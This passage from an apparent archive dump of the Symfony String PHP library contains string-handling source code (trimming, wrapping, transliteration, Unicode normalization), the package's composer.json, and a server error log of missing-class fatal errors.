$this->string; return $b; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { try { $b->string = mb_convert_encoding($this->string, $toEncoding, 'UTF-8'); } catch (InvalidArgumentException $e) { if (!\function_exists('iconv')) { throw $e; } $b->string = iconv('UTF-8', $toEncoding, $this->string); } } finally { restore_error_handler(); } return $b; } public function toCodePointString(): CodePointString { return new CodePointString($this->string); } public function toString(): string { return $this->string; } public function toUnicodeString(): UnicodeString { return new UnicodeString($this->string); } abstract public function trim(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static; abstract public function trimEnd(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static; /** * @param string|string[] $prefix */ public function trimPrefix($prefix): static { if (\is_array($prefix) || $prefix instanceof \Traversable) { // don't use is_iterable(), it's slow foreach ($prefix as $s) { $t = $this->trimPrefix($s); if ($t->string !== $this->string) { return $t; } } return clone $this; } $str = clone $this; if ($prefix instanceof self) { $prefix = $prefix->string; } else { $prefix = (string) $prefix; } if ('' !== $prefix && \strlen($this->string) >= \strlen($prefix) && 0 === substr_compare($this->string, $prefix, 0, \strlen($prefix), $this->ignoreCase)) { $str->string = substr($this->string, \strlen($prefix)); } return $str; } abstract public function trimStart(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static; /** * @param string|string[] $suffix */ public function trimSuffix($suffix): static { if (\is_array($suffix) || $suffix instanceof \Traversable) { // don't use is_iterable(), it's slow foreach ($suffix as $s) { $t = $this->trimSuffix($s); if ($t->string !== $this->string) { return $t; } } return clone $this; } $str = clone $this; if ($suffix instanceof self) { $suffix = $suffix->string; } else { $suffix = (string) $suffix; } if ('' !== $suffix && \strlen($this->string) >= \strlen($suffix) && 0 === substr_compare($this->string, $suffix, -\strlen($suffix), null, $this->ignoreCase)) { $str->string = substr($this->string, 0, -\strlen($suffix)); } return $str; } public function truncate(int $length, string $ellipsis = '', bool $cut = true): static { $stringLength = $this->length(); if ($stringLength <= $length) { return clone $this; } $ellipsisLength = '' !== $ellipsis ? (new static($ellipsis))->length() : 0; if ($length < $ellipsisLength) { $ellipsisLength = 0; } if (!$cut) { if (null === $length = $this->indexOf([' ', "\r", "\n", "\t"], ($length ?: 1) - 1)) { return clone $this; } $length += $ellipsisLength; } $str = $this->slice(0, $length - $ellipsisLength); return $ellipsisLength ? $str->trimEnd()->append($ellipsis) : $str; } abstract public function upper(): static; /** * Returns the printable length on a terminal. */ abstract public function width(bool $ignoreAnsiDecoration = true): int; public function wordwrap(int $width = 75, string $break = "\n", bool $cut = false): static { $lines = '' !== $break ? $this->split($break) : [clone $this]; $chars = []; $mask = ''; if (1 === \count($lines) && '' === $lines[0]->string) { return $lines[0]; } foreach ($lines as $i => $line) { if ($i) { $chars[] = $break; $mask .= '#'; } foreach ($line->chunk() as $char) { $chars[] = $char->string; $mask .= ' ' === $char->string ? ' ' : '?'; } } $string = ''; $j = 0; $b = $i = -1; $mask = wordwrap($mask, $width, '#', $cut); while (false !== $b = strpos($mask, '#', $b + 1)) { for (++$i; $i < $b; ++$i) { $string .= $chars[$j]; unset($chars[$j++]); } if ($break === $chars[$j] || ' ' === $chars[$j]) { unset($chars[$j++]); } $string .= $break; } $str = clone $this; $str->string = $string.implode('', $chars); return $str; } public function __sleep(): array { return ['string']; } public function __clone() { $this->ignoreCase = false; } public function __toString(): string { return $this->string; } } string/composer.json000064400000002523151113511540010573 0ustar00{ "name": "symfony/string", "type": "library", "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way", "keywords": ["string", "utf8", "utf-8", "grapheme", "i18n", "unicode"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/polyfill-ctype": "~1.8", "symfony/polyfill-intl-grapheme": "~1.0", "symfony/polyfill-intl-normalizer": "~1.0", "symfony/polyfill-mbstring": "~1.0" }, "require-dev": { "symfony/error-handler": "^5.4|^6.0", "symfony/intl": "^6.2", "symfony/http-client": "^5.4|^6.0", "symfony/translation-contracts": "^2.5|^3.0", "symfony/var-exporter": "^5.4|^6.0" }, "conflict": { "symfony/translation-contracts": "<2.5" }, "autoload": { "psr-4": { "Symfony\\Component\\String\\": "" }, "files": [ "Resources/functions.php" ], "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } string/error_log000064400000007572151113511540007777 0ustar00[18-Nov-2025 17:40:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/AbstractUnicodeString.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/AbstractUnicodeString.php on line 29 [19-Nov-2025 01:28:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractUnicodeString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/CodePointString.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/CodePointString.php on line 25 [19-Nov-2025 01:51:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/AbstractUnicodeString.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/AbstractUnicodeString.php on line 29 [19-Nov-2025 09:09:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractUnicodeString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/CodePointString.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/CodePointString.php on line 25 [24-Nov-2025 10:12:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/ByteString.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/ByteString.php on line 26 [24-Nov-2025 10:12:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractUnicodeString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/CodePointString.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/CodePointString.php on line 25 [24-Nov-2025 10:13:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/AbstractUnicodeString.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/AbstractUnicodeString.php on line 29 [24-Nov-2025 10:14:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractUnicodeString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/UnicodeString.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/UnicodeString.php on line 33 [25-Nov-2025 10:52:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/AbstractUnicodeString.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/AbstractUnicodeString.php on line 29 [25-Nov-2025 10:53:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/ByteString.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/ByteString.php on line 26 [25-Nov-2025 10:54:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractUnicodeString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/CodePointString.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/CodePointString.php on line 25 [25-Nov-2025 10:55:35 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\String\AbstractUnicodeString" not found in /home/fluxyjvi/public_html/project/vendor/symfony/string/UnicodeString.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/string/UnicodeString.php on line 33 string/AbstractUnicodeString.php000064400000062362151113511540013032 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; use Symfony\Component\String\Exception\RuntimeException; /** * Represents a string of abstract Unicode characters. * * Unicode defines 3 types of "characters" (bytes, code points and grapheme clusters). * This class is the abstract type to use as a type-hint when the logic you want to * implement is Unicode-aware but doesn't care about code points vs grapheme clusters. * * @author Nicolas Grekas * * @throws ExceptionInterface */ abstract class AbstractUnicodeString extends AbstractString { public const NFC = \Normalizer::NFC; public const NFD = \Normalizer::NFD; public const NFKC = \Normalizer::NFKC; public const NFKD = \Normalizer::NFKD; // all ASCII letters sorted by typical frequency of occurrence private const ASCII = "\x20\x65\x69\x61\x73\x6E\x74\x72\x6F\x6C\x75\x64\x5D\x5B\x63\x6D\x70\x27\x0A\x67\x7C\x68\x76\x2E\x66\x62\x2C\x3A\x3D\x2D\x71\x31\x30\x43\x32\x2A\x79\x78\x29\x28\x4C\x39\x41\x53\x2F\x50\x22\x45\x6A\x4D\x49\x6B\x33\x3E\x35\x54\x3C\x44\x34\x7D\x42\x7B\x38\x46\x77\x52\x36\x37\x55\x47\x4E\x3B\x4A\x7A\x56\x23\x48\x4F\x57\x5F\x26\x21\x4B\x3F\x58\x51\x25\x59\x5C\x09\x5A\x2B\x7E\x5E\x24\x40\x60\x7F\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"; // the subset of folded case mappings that is not in lower case mappings private const FOLD_FROM = ['İ', 'µ', 'ſ', "\xCD\x85", 'ς', 'ϐ', 'ϑ', 'ϕ', 'ϖ', 'ϰ', 'ϱ', 'ϵ', 'ẛ', "\xE1\xBE\xBE", 'ß', 'ʼn', 'ǰ', 'ΐ', 'ΰ', 'և', 'ẖ', 'ẗ', 'ẘ', 'ẙ', 'ẚ', 'ẞ', 'ὐ', 'ὒ', 'ὔ', 'ὖ', 'ᾀ', 'ᾁ', 'ᾂ', 'ᾃ', 'ᾄ', 'ᾅ', 'ᾆ', 'ᾇ', 'ᾈ', 'ᾉ', 'ᾊ', 'ᾋ', 'ᾌ', 'ᾍ', 'ᾎ', 'ᾏ', 'ᾐ', 'ᾑ', 'ᾒ', 'ᾓ', 'ᾔ', 'ᾕ', 'ᾖ', 'ᾗ', 'ᾘ', 'ᾙ', 'ᾚ', 'ᾛ', 'ᾜ', 'ᾝ', 'ᾞ', 'ᾟ', 'ᾠ', 'ᾡ', 'ᾢ', 'ᾣ', 'ᾤ', 'ᾥ', 'ᾦ', 'ᾧ', 'ᾨ', 'ᾩ', 'ᾪ', 'ᾫ', 'ᾬ', 'ᾭ', 'ᾮ', 'ᾯ', 'ᾲ', 'ᾳ', 'ᾴ', 'ᾶ', 'ᾷ', 'ᾼ', 'ῂ', 'ῃ', 'ῄ', 'ῆ', 'ῇ', 'ῌ', 'ῒ', 'ῖ', 'ῗ', 'ῢ', 'ῤ', 'ῦ', 'ῧ', 'ῲ', 'ῳ', 'ῴ', 'ῶ', 'ῷ', 'ῼ', 'ff', 'fi', 'fl', 'ffi', 'ffl', 'ſt', 'st', 'ﬓ', 'ﬔ', 'ﬕ', 'ﬖ', 'ﬗ']; private const FOLD_TO = ['i̇', 'μ', 's', 'ι', 'σ', 'β', 'θ', 'φ', 'π', 'κ', 'ρ', 'ε', 'ṡ', 'ι', 'ss', 'ʼn', 'ǰ', 'ΐ', 'ΰ', 'եւ', 'ẖ', 'ẗ', 'ẘ', 'ẙ', 'aʾ', 'ss', 'ὐ', 'ὒ', 'ὔ', 'ὖ', 'ἀι', 'ἁι', 'ἂι', 'ἃι', 'ἄι', 'ἅι', 'ἆι', 'ἇι', 'ἀι', 'ἁι', 'ἂι', 'ἃι', 'ἄι', 'ἅι', 'ἆι', 'ἇι', 'ἠι', 'ἡι', 'ἢι', 'ἣι', 'ἤι', 'ἥι', 'ἦι', 'ἧι', 'ἠι', 'ἡι', 'ἢι', 'ἣι', 'ἤι', 'ἥι', 'ἦι', 'ἧι', 'ὠι', 'ὡι', 'ὢι', 'ὣι', 'ὤι', 'ὥι', 'ὦι', 'ὧι', 'ὠι', 'ὡι', 'ὢι', 'ὣι', 'ὤι', 'ὥι', 'ὦι', 'ὧι', 'ὰι', 'αι', 'άι', 'ᾶ', 'ᾶι', 'αι', 'ὴι', 'ηι', 'ήι', 'ῆ', 'ῆι', 'ηι', 'ῒ', 'ῖ', 'ῗ', 'ῢ', 'ῤ', 'ῦ', 'ῧ', 'ὼι', 'ωι', 'ώι', 'ῶ', 'ῶι', 'ωι', 'ff', 'fi', 'fl', 'ffi', 'ffl', 'st', 'st', 'մն', 'մե', 'մի', 'վն', 'մխ']; // the subset of https://github.com/unicode-org/cldr/blob/master/common/transforms/Latin-ASCII.xml that is not in NFKD private const TRANSLIT_FROM = ['Æ', 'Ð', 'Ø', 'Þ', 'ß', 'æ', 'ð', 'ø', 'þ', 'Đ', 'đ', 'Ħ', 'ħ', 'ı', 'ĸ', 'Ŀ', 'ŀ', 'Ł', 'ł', 'ʼn', 'Ŋ', 'ŋ', 'Œ', 'œ', 'Ŧ', 'ŧ', 'ƀ', 'Ɓ', 'Ƃ', 'ƃ', 'Ƈ', 'ƈ', 'Ɖ', 'Ɗ', 'Ƌ', 'ƌ', 'Ɛ', 'Ƒ', 'ƒ', 'Ɠ', 'ƕ', 'Ɩ', 'Ɨ', 'Ƙ', 'ƙ', 'ƚ', 'Ɲ', 'ƞ', 'Ƣ', 'ƣ', 'Ƥ', 'ƥ', 'ƫ', 'Ƭ', 'ƭ', 'Ʈ', 'Ʋ', 'Ƴ', 'ƴ', 'Ƶ', 'ƶ', 'DŽ', 'Dž', 'dž', 'Ǥ', 'ǥ', 'ȡ', 'Ȥ', 'ȥ', 'ȴ', 'ȵ', 'ȶ', 'ȷ', 'ȸ', 'ȹ', 'Ⱥ', 'Ȼ', 'ȼ', 'Ƚ', 'Ⱦ', 'ȿ', 'ɀ', 'Ƀ', 'Ʉ', 'Ɇ', 'ɇ', 'Ɉ', 'ɉ', 'Ɍ', 'ɍ', 'Ɏ', 'ɏ', 'ɓ', 'ɕ', 'ɖ', 'ɗ', 'ɛ', 'ɟ', 'ɠ', 'ɡ', 'ɢ', 'ɦ', 'ɧ', 'ɨ', 'ɪ', 'ɫ', 'ɬ', 'ɭ', 'ɱ', 'ɲ', 'ɳ', 'ɴ', 'ɶ', 'ɼ', 'ɽ', 'ɾ', 'ʀ', 'ʂ', 'ʈ', 'ʉ', 'ʋ', 'ʏ', 'ʐ', 'ʑ', 'ʙ', 'ʛ', 'ʜ', 'ʝ', 'ʟ', 'ʠ', 'ʣ', 'ʥ', 'ʦ', 'ʪ', 'ʫ', 'ᴀ', 'ᴁ', 'ᴃ', 'ᴄ', 'ᴅ', 'ᴆ', 'ᴇ', 'ᴊ', 'ᴋ', 'ᴌ', 'ᴍ', 'ᴏ', 'ᴘ', 'ᴛ', 'ᴜ', 'ᴠ', 'ᴡ', 'ᴢ', 'ᵫ', 'ᵬ', 'ᵭ', 'ᵮ', 'ᵯ', 'ᵰ', 'ᵱ', 'ᵲ', 'ᵳ', 'ᵴ', 'ᵵ', 'ᵶ', 'ᵺ', 'ᵻ', 'ᵽ', 'ᵾ', 'ᶀ', 'ᶁ', 'ᶂ', 'ᶃ', 'ᶄ', 'ᶅ', 'ᶆ', 'ᶇ', 'ᶈ', 'ᶉ', 'ᶊ', 'ᶌ', 'ᶍ', 'ᶎ', 'ᶏ', 'ᶑ', 'ᶒ', 'ᶓ', 'ᶖ', 'ᶙ', 'ẚ', 'ẜ', 'ẝ', 'ẞ', 'Ỻ', 'ỻ', 'Ỽ', 'ỽ', 'Ỿ', 'ỿ', '©', '®', '₠', '₢', '₣', '₤', '₧', '₺', '₹', 'ℌ', '℞', '㎧', '㎮', '㏆', '㏗', '㏞', '㏟', '¼', '½', '¾', '⅓', '⅔', '⅕', '⅖', '⅗', '⅘', '⅙', '⅚', '⅛', '⅜', '⅝', '⅞', '⅟', '〇', '‘', '’', '‚', '‛', '“', '”', '„', '‟', '′', '″', '〝', '〞', '«', '»', '‹', '›', '‐', '‑', '‒', '–', '—', '―', '︱', '︲', '﹘', '‖', '⁄', '⁅', '⁆', '⁎', '、', '。', '〈', '〉', '《', '》', '〔', '〕', '〘', '〙', '〚', '〛', '︑', '︒', '︹', '︺', '︽', '︾', '︿', '﹀', '﹑', '﹝', '﹞', '⦅', '⦆', '。', '、', '×', '÷', '−', '∕', '∖', '∣', '∥', '≪', '≫', '⦅', '⦆']; private const TRANSLIT_TO = ['AE', 'D', 'O', 'TH', 'ss', 'ae', 'd', 'o', 'th', 'D', 'd', 'H', 'h', 'i', 'q', 'L', 'l', 'L', 'l', '\'n', 'N', 'n', 'OE', 'oe', 'T', 't', 'b', 'B', 'B', 'b', 'C', 'c', 'D', 'D', 'D', 'd', 'E', 'F', 'f', 'G', 'hv', 'I', 'I', 'K', 'k', 'l', 'N', 'n', 'OI', 'oi', 'P', 'p', 't', 'T', 't', 'T', 'V', 'Y', 'y', 'Z', 'z', 'DZ', 'Dz', 'dz', 'G', 'g', 'd', 'Z', 'z', 'l', 'n', 't', 'j', 'db', 'qp', 'A', 'C', 'c', 'L', 'T', 's', 'z', 'B', 'U', 'E', 'e', 'J', 'j', 'R', 'r', 'Y', 'y', 'b', 'c', 'd', 'd', 'e', 'j', 'g', 'g', 'G', 'h', 'h', 'i', 'I', 'l', 'l', 'l', 'm', 'n', 'n', 'N', 'OE', 'r', 'r', 'r', 'R', 's', 't', 'u', 'v', 'Y', 'z', 'z', 'B', 'G', 'H', 'j', 'L', 'q', 'dz', 'dz', 'ts', 'ls', 'lz', 'A', 'AE', 'B', 'C', 'D', 'D', 'E', 'J', 'K', 'L', 'M', 'O', 'P', 'T', 'U', 'V', 'W', 'Z', 'ue', 'b', 'd', 'f', 'm', 'n', 'p', 'r', 'r', 's', 't', 'z', 'th', 'I', 'p', 'U', 'b', 'd', 'f', 'g', 'k', 'l', 'm', 'n', 'p', 'r', 's', 'v', 'x', 'z', 'a', 'd', 'e', 'e', 'i', 'u', 'a', 's', 's', 'SS', 'LL', 'll', 'V', 'v', 'Y', 'y', '(C)', '(R)', 'CE', 'Cr', 'Fr.', 'L.', 'Pts', 'TL', 'Rs', 'x', 'Rx', 'm/s', 'rad/s', 'C/kg', 'pH', 'V/m', 'A/m', ' 1/4', ' 1/2', ' 3/4', ' 1/3', ' 2/3', ' 1/5', ' 2/5', ' 3/5', ' 4/5', ' 1/6', ' 5/6', ' 1/8', ' 3/8', ' 5/8', ' 7/8', ' 1/', '0', '\'', '\'', ',', '\'', '"', '"', ',,', '"', '\'', '"', '"', '"', '<<', '>>', '<', '>', '-', '-', '-', '-', '-', '-', '-', '-', '-', '||', '/', '[', ']', '*', ',', '.', '<', '>', '<<', '>>', '[', ']', '[', ']', '[', ']', ',', '.', '[', ']', '<<', '>>', '<', '>', ',', '[', ']', '((', '))', '.', ',', '*', '/', '-', '/', '\\', '|', '||', '<<', '>>', '((', '))']; private static $transliterators = []; private static $tableZero; private static $tableWide; public static function fromCodePoints(int ...$codes): static { $string = ''; foreach ($codes as $code) { if (0x80 > $code %= 0x200000) { $string .= \chr($code); } elseif (0x800 > $code) { $string .= \chr(0xC0 | $code >> 6).\chr(0x80 | $code & 0x3F); } elseif (0x10000 > $code) { $string .= \chr(0xE0 | $code >> 12).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } else { $string .= \chr(0xF0 | $code >> 18).\chr(0x80 | $code >> 12 & 0x3F).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } } return new static($string); } /** * Generic UTF-8 to ASCII transliteration. * * Install the intl extension for best results. * * @param string[]|\Transliterator[]|\Closure[] $rules See "*-Latin" rules from Transliterator::listIDs() */ public function ascii(array $rules = []): self { $str = clone $this; $s = $str->string; $str->string = ''; array_unshift($rules, 'nfd'); $rules[] = 'latin-ascii'; if (\function_exists('transliterator_transliterate')) { $rules[] = 'any-latin/bgn'; } $rules[] = 'nfkd'; $rules[] = '[:nonspacing mark:] remove'; while (\strlen($s) - 1 > $i = strspn($s, self::ASCII)) { if (0 < --$i) { $str->string .= substr($s, 0, $i); $s = substr($s, $i); } if (!$rule = array_shift($rules)) { $rules = []; // An empty rule interrupts the next ones } if ($rule instanceof \Transliterator) { $s = $rule->transliterate($s); } elseif ($rule instanceof \Closure) { $s = $rule($s); } elseif ($rule) { if ('nfd' === $rule = strtolower($rule)) { normalizer_is_normalized($s, self::NFD) ?: $s = normalizer_normalize($s, self::NFD); } elseif ('nfkd' === $rule) { normalizer_is_normalized($s, self::NFKD) ?: $s = normalizer_normalize($s, self::NFKD); } elseif ('[:nonspacing mark:] remove' === $rule) { $s = preg_replace('/\p{Mn}++/u', '', $s); } elseif ('latin-ascii' === $rule) { $s = str_replace(self::TRANSLIT_FROM, self::TRANSLIT_TO, $s); } elseif ('de-ascii' === $rule) { $s = preg_replace("/([AUO])\u{0308}(?=\p{Ll})/u", '$1e', $s); $s = str_replace(["a\u{0308}", "o\u{0308}", "u\u{0308}", "A\u{0308}", "O\u{0308}", "U\u{0308}"], ['ae', 'oe', 'ue', 'AE', 'OE', 'UE'], $s); } elseif (\function_exists('transliterator_transliterate')) { if (null === $transliterator = self::$transliterators[$rule] ??= \Transliterator::create($rule)) { if ('any-latin/bgn' === $rule) { $rule = 'any-latin'; $transliterator = self::$transliterators[$rule] ??= \Transliterator::create($rule); } if (null === $transliterator) { throw new InvalidArgumentException(sprintf('Unknown transliteration rule "%s".', $rule)); } self::$transliterators['any-latin/bgn'] = $transliterator; } $s = $transliterator->transliterate($s); } } elseif (!\function_exists('iconv')) { $s = preg_replace('/[^\x00-\x7F]/u', '?', $s); } else { $s = @preg_replace_callback('/[^\x00-\x7F]/u', static function ($c) { $c = (string) iconv('UTF-8', 'ASCII//TRANSLIT', $c[0]); if ('' === $c && '' === iconv('UTF-8', 'ASCII//TRANSLIT', '²')) { throw new \LogicException(sprintf('"%s" requires a translit-able iconv implementation, try installing "gnu-libiconv" if you\'re using Alpine Linux.', static::class)); } return 1 < \strlen($c) ? ltrim($c, '\'`"^~') : ('' !== $c ? $c : '?'); }, $s); } } $str->string .= $s; return $str; } public function camel(): static { $str = clone $this; $str->string = str_replace(' ', '', preg_replace_callback('/\b.(?![A-Z]{2,})/u', static function ($m) { static $i = 0; return 1 === ++$i ? ('İ' === $m[0] ? 'i̇' : mb_strtolower($m[0], 'UTF-8')) : mb_convert_case($m[0], \MB_CASE_TITLE, 'UTF-8'); }, preg_replace('/[^\pL0-9]++/u', ' ', $this->string))); return $str; } /** * @return int[] */ public function codePointsAt(int $offset): array { $str = $this->slice($offset, 1); if ('' === $str->string) { return []; } $codePoints = []; foreach (preg_split('//u', $str->string, -1, \PREG_SPLIT_NO_EMPTY) as $c) { $codePoints[] = mb_ord($c, 'UTF-8'); } return $codePoints; } public function folded(bool $compat = true): static { $str = clone $this; if (!$compat || !\defined('Normalizer::NFKC_CF')) { $str->string = normalizer_normalize($str->string, $compat ? \Normalizer::NFKC : \Normalizer::NFC); $str->string = mb_strtolower(str_replace(self::FOLD_FROM, self::FOLD_TO, $this->string), 'UTF-8'); } else { $str->string = normalizer_normalize($str->string, \Normalizer::NFKC_CF); } return $str; } public function join(array $strings, string $lastGlue = null): static { $str = clone $this; $tail = null !== $lastGlue && 1 < \count($strings) ? $lastGlue.array_pop($strings) : ''; $str->string = implode($this->string, $strings).$tail; if (!preg_match('//u', $str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function lower(): static { $str = clone $this; $str->string = mb_strtolower(str_replace('İ', 'i̇', $str->string), 'UTF-8'); return $str; } public function match(string $regexp, int $flags = 0, int $offset = 0): array { $match = ((\PREG_PATTERN_ORDER | \PREG_SET_ORDER) & $flags) ? 'preg_match_all' : 'preg_match'; if ($this->ignoreCase) { $regexp .= 'i'; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (false === $match($regexp.'u', $this->string, $matches, $flags | \PREG_UNMATCHED_AS_NULL, $offset)) { throw new RuntimeException('Matching failed with error: '.preg_last_error_msg()); } } finally { restore_error_handler(); } return $matches; } public function normalize(int $form = self::NFC): static { if (!\in_array($form, [self::NFC, self::NFD, self::NFKC, self::NFKD])) { throw new InvalidArgumentException('Unsupported normalization form.'); } $str = clone $this; normalizer_is_normalized($str->string, $form) ?: $str->string = normalizer_normalize($str->string, $form); return $str; } public function padBoth(int $length, string $padStr = ' '): static { if ('' === $padStr || !preg_match('//u', $padStr)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $pad = clone $this; $pad->string = $padStr; return $this->pad($length, $pad, \STR_PAD_BOTH); } public function padEnd(int $length, string $padStr = ' '): static { if ('' === $padStr || !preg_match('//u', $padStr)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $pad = clone $this; $pad->string = $padStr; return $this->pad($length, $pad, \STR_PAD_RIGHT); } public function padStart(int $length, string $padStr = ' '): static { if ('' === $padStr || !preg_match('//u', $padStr)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $pad = clone $this; $pad->string = $padStr; return $this->pad($length, $pad, \STR_PAD_LEFT); } public function replaceMatches(string $fromRegexp, string|callable $to): static { if ($this->ignoreCase) { $fromRegexp .= 'i'; } if (\is_array($to) || $to instanceof \Closure) { $replace = 'preg_replace_callback'; $to = static function (array $m) use ($to): string { $to = $to($m); if ('' !== $to && (!\is_string($to) || !preg_match('//u', $to))) { throw new InvalidArgumentException('Replace callback must return a valid UTF-8 string.'); } return $to; }; } elseif ('' !== $to && !preg_match('//u', $to)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } else { $replace = 'preg_replace'; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (null === $string = $replace($fromRegexp.'u', $to, $this->string)) { $lastError = preg_last_error(); foreach (get_defined_constants(true)['pcre'] as $k => $v) { if ($lastError === $v && str_ends_with($k, '_ERROR')) { throw new RuntimeException('Matching failed with '.$k.'.'); } } throw new RuntimeException('Matching failed with unknown error code.'); } } finally { restore_error_handler(); } $str = clone $this; $str->string = $string; return $str; } public function reverse(): static { $str = clone $this; $str->string = implode('', array_reverse(preg_split('/(\X)/u', $str->string, -1, \PREG_SPLIT_DELIM_CAPTURE | \PREG_SPLIT_NO_EMPTY))); return $str; } public function snake(): static { $str = $this->camel(); $str->string = mb_strtolower(preg_replace(['/(\p{Lu}+)(\p{Lu}\p{Ll})/u', '/([\p{Ll}0-9])(\p{Lu})/u'], '\1_\2', $str->string), 'UTF-8'); return $str; } public function title(bool $allWords = false): static { $str = clone $this; $limit = $allWords ? -1 : 1; $str->string = preg_replace_callback('/\b./u', static fn (array $m): string => mb_convert_case($m[0], \MB_CASE_TITLE, 'UTF-8'), $str->string, $limit); return $str; } public function trim(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static { if (" \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}" !== $chars && !preg_match('//u', $chars)) { throw new InvalidArgumentException('Invalid UTF-8 chars.'); } $chars = preg_quote($chars); $str = clone $this; $str->string = preg_replace("{^[$chars]++|[$chars]++$}uD", '', $str->string); return $str; } public function trimEnd(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static { if (" \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}" !== $chars && !preg_match('//u', $chars)) { throw new InvalidArgumentException('Invalid UTF-8 chars.'); } $chars = preg_quote($chars); $str = clone $this; $str->string = preg_replace("{[$chars]++$}uD", '', $str->string); return $str; } public function trimPrefix($prefix): static { if (!$this->ignoreCase) { return parent::trimPrefix($prefix); } $str = clone $this; if ($prefix instanceof \Traversable) { $prefix = iterator_to_array($prefix, false); } elseif ($prefix instanceof parent) { $prefix = $prefix->string; } $prefix = implode('|', array_map('preg_quote', (array) $prefix)); $str->string = preg_replace("{^(?:$prefix)}iuD", '', $this->string); return $str; } public function trimStart(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static { if (" \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}" !== $chars && !preg_match('//u', $chars)) { throw new InvalidArgumentException('Invalid UTF-8 chars.'); } $chars = preg_quote($chars); $str = clone $this; $str->string = preg_replace("{^[$chars]++}uD", '', $str->string); return $str; } public function trimSuffix($suffix): static { if (!$this->ignoreCase) { return parent::trimSuffix($suffix); } $str = clone $this; if ($suffix instanceof \Traversable) { $suffix = iterator_to_array($suffix, false); } elseif ($suffix instanceof parent) { $suffix = $suffix->string; } $suffix = implode('|', array_map('preg_quote', (array) $suffix)); $str->string = preg_replace("{(?:$suffix)$}iuD", '', $this->string); return $str; } public function upper(): static { $str = clone $this; $str->string = mb_strtoupper($str->string, 'UTF-8'); return $str; } public function width(bool $ignoreAnsiDecoration = true): int { $width = 0; $s = str_replace(["\x00", "\x05", "\x07"], '', $this->string); if (str_contains($s, "\r")) { $s = str_replace(["\r\n", "\r"], "\n", $s); } if (!$ignoreAnsiDecoration) { $s = preg_replace('/[\p{Cc}\x7F]++/u', '', $s); } foreach (explode("\n", $s) as $s) { if ($ignoreAnsiDecoration) { $s = 